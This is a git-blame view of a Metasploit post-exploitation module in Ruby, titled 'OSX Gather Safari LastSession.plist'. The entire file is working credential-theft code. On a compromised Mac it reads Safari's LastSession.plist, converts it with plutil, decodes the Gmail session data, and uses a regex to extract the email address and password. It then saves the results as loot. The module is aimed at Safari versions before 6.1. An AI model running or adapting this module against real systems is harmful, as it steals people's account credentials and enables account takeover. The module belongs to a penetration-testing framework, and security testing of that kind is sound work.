2013-12-17 19:07:30 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rexml/document'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::File
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'OSX Gather Safari LastSession.plist',
|
|
|
|
'Description' => %q{
|
2013-12-24 20:00:55 +00:00
|
|
|
This module downloads the LastSession.plist file from the target machine.
|
|
|
|
LastSession.plist is used by Safari to track active websites in the current session,
|
|
|
|
and sometimes contains sensitive information such as usernames and passwords.
|
|
|
|
|
|
|
|
This module will first download the original LastSession.plist, and then attempt
|
|
|
|
to find the credential for Gmail. The Gmail's last session state may contain the
|
|
|
|
user's credential if his/her first login attempt failed (likely due to a typo),
|
|
|
|
and then the page got refreshed or another login attempt was made. This also means
|
|
|
|
the stolen credential might contains typos.
|
2013-12-17 19:07:30 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'sinn3r'],
|
|
|
|
'Platform' => [ 'osx' ],
|
|
|
|
'SessionTypes' => [ 'shell' ],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['URL', 'http://www.securelist.com/en/blog/8168/Loophole_in_Safari']
|
|
|
|
]
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Returns the Safari version based on version.plist
|
|
|
|
# @return [String] The Safari version. If not found, returns ''
|
|
|
|
#
|
|
|
|
def get_safari_version
|
|
|
|
vprint_status("#{peer} - Checking Safari version.")
|
|
|
|
version = ''
|
|
|
|
|
|
|
|
f = read_file("/Applications/Safari.app/Contents/version.plist")
|
2013-12-17 22:38:58 +00:00
|
|
|
xml = REXML::Document.new(f) rescue nil
|
2013-12-17 22:42:49 +00:00
|
|
|
return version if xml.nil?
|
2013-12-17 19:07:30 +00:00
|
|
|
|
|
|
|
xml.elements['plist/dict'].each_element do |e|
|
|
|
|
if e.text == 'CFBundleShortVersionString'
|
|
|
|
version = e.next_element.text
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
version
|
|
|
|
end
|
|
|
|
|
|
|
|
def peer
|
|
|
|
"#{session.session_host}:#{session.session_port}"
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Converts LastSession.plist to xml, and then read it
|
|
|
|
# @param filename [String] The path to LastSession.plist
|
|
|
|
# @return [String] Returns the XML version of LastSession.plist
|
|
|
|
#
|
|
|
|
def plutil(filename)
|
|
|
|
cmd_exec("plutil -convert xml1 #{filename}")
|
2013-12-17 22:42:49 +00:00
|
|
|
read_file(filename)
|
2013-12-17 19:07:30 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Returns the XML version of LastSession.plist (text file)
|
|
|
|
# Just a wrapper for plutil
|
|
|
|
#
|
|
|
|
def get_lastsession
|
|
|
|
print_status("#{peer} - Looking for LastSession.plist")
|
2013-12-17 22:42:49 +00:00
|
|
|
plutil("#{expand_path("~")}/Library/Safari/LastSession.plist")
|
2013-12-17 19:07:30 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Returns the <array> element that contains session data
|
|
|
|
# @param lastsession [String] XML data
|
|
|
|
# @return [REXML::Element] The Array element for the session data
|
|
|
|
#
|
|
|
|
def get_sessions(lastsession)
|
|
|
|
session_dict = nil
|
|
|
|
|
2013-12-17 22:38:58 +00:00
|
|
|
xml = REXML::Document.new(lastsession) rescue nil
|
2013-12-17 22:42:49 +00:00
|
|
|
return nil if xml.nil?
|
2013-12-17 19:07:30 +00:00
|
|
|
|
|
|
|
xml.elements['plist'].each_element do |e|
|
|
|
|
found = false
|
|
|
|
e.elements.each do |e2|
|
|
|
|
if e2.text == 'SessionWindows'
|
|
|
|
session_dict = e.elements['array']
|
|
|
|
found = true
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
break if found
|
|
|
|
end
|
|
|
|
|
|
|
|
session_dict
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Returns the <dict> session element
|
|
|
|
# @param xml [REXML::Element] The array element for the session data
|
2013-12-24 20:00:55 +00:00
|
|
|
# @param domain [Regexp] The domain to search for
|
2013-12-17 19:07:30 +00:00
|
|
|
# @return [REXML::Element] The <dict> element for the session data
|
|
|
|
#
|
2013-12-24 20:00:55 +00:00
|
|
|
def get_session_element(xml, domain_regx)
|
2013-12-17 19:07:30 +00:00
|
|
|
dict = nil
|
|
|
|
|
|
|
|
found = false
|
|
|
|
xml.each_element do |e|
|
|
|
|
e.elements['array/dict'].each_element do |e2|
|
2013-12-24 20:00:55 +00:00
|
|
|
if e2.text =~ domain_regx
|
2013-12-17 19:07:30 +00:00
|
|
|
dict = e
|
|
|
|
found = true
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
break if found
|
|
|
|
end
|
|
|
|
|
|
|
|
dict
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Extracts Gmail username/password
|
|
|
|
# @param xml [REXML::Element] The array element for the session data
|
|
|
|
# @return [Array] [0] is the domain, [1] is the user, [2] is the pass
|
|
|
|
#
|
|
|
|
def find_gmail_cred(xml)
|
|
|
|
vprint_status("#{peer} - Looking for username/password for Gmail.")
|
2013-12-24 20:00:55 +00:00
|
|
|
gmail_dict = get_session_element(xml, /(mail|accounts)\.google\.com/)
|
2013-12-17 19:07:30 +00:00
|
|
|
return '' if gmail_dict.nil?
|
|
|
|
|
|
|
|
raw_data = gmail_dict.elements['array/dict/data'].text
|
|
|
|
decoded_data = Rex::Text.decode_base64(raw_data)
|
|
|
|
cred = decoded_data.scan(/Email=(.+)&Passwd=(.+)\&signIn/).flatten
|
|
|
|
user, pass = cred.map {|data| Rex::Text.uri_decode(data)}
|
|
|
|
|
|
|
|
return '' if user.blank? or pass.blank?
|
|
|
|
|
|
|
|
['mail.google.com', user, pass]
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Runs the module
|
|
|
|
#
|
|
|
|
def run
|
|
|
|
cred_tbl = Rex::Ui::Text::Table.new({
|
|
|
|
'Header' => 'Credentials',
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' => ['Domain', 'Username', 'Password']
|
|
|
|
})
|
|
|
|
|
|
|
|
#
|
|
|
|
# Downloads LastSession.plist in XML format
|
|
|
|
#
|
|
|
|
lastsession = get_lastsession
|
|
|
|
if lastsession.blank?
|
|
|
|
print_error("#{peer} - LastSession.plist not found")
|
|
|
|
return
|
|
|
|
else
|
|
|
|
p = store_loot('osx.lastsession.plist', 'text/plain', session, lastsession, 'LastSession.plist.xml')
|
|
|
|
print_good("#{peer} - LastSession.plist stored in: #{p.to_s}")
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# If this is an unpatched version, we try to extract creds
|
|
|
|
#
|
|
|
|
version = get_safari_version
|
|
|
|
if version.blank?
|
|
|
|
print_warning("Unable to determine Safari version, will try to extract creds anyway")
|
|
|
|
elsif version >= "6.1"
|
|
|
|
print_status("#{peer} - This machine no longer stores session data in plain text")
|
|
|
|
return
|
|
|
|
else
|
|
|
|
vprint_status("#{peer} - Safari version: #{version}")
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Attempts to convert the XML file to an actual XML object, with the <array> element
|
|
|
|
# holding our session data
|
|
|
|
#
|
|
|
|
lastsession_xml = get_sessions(lastsession)
|
|
|
|
unless lastsession_xml
|
|
|
|
print_error("Cannot read XML file, or unable to find any session data")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Look for credential in the session data.
|
|
|
|
# I don't know who else stores their user/pass in the session data, but I accept pull requests.
|
|
|
|
# Already looked at hotmail, yahoo, and twitter
|
|
|
|
#
|
|
|
|
gmail_cred = find_gmail_cred(lastsession_xml)
|
|
|
|
cred_tbl << gmail_cred unless gmail_cred.blank?
|
|
|
|
|
|
|
|
unless cred_tbl.rows.empty?
|
|
|
|
p = store_loot('osx.lastsession.creds', 'text/plain', session, cred_tbl.to_csv, 'LastSession_creds.txt')
|
|
|
|
print_good("#{peer} - Found credential saved in: #{p}")
|
|
|
|
print_line
|
|
|
|
print_line(cred_tbl.to_s)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|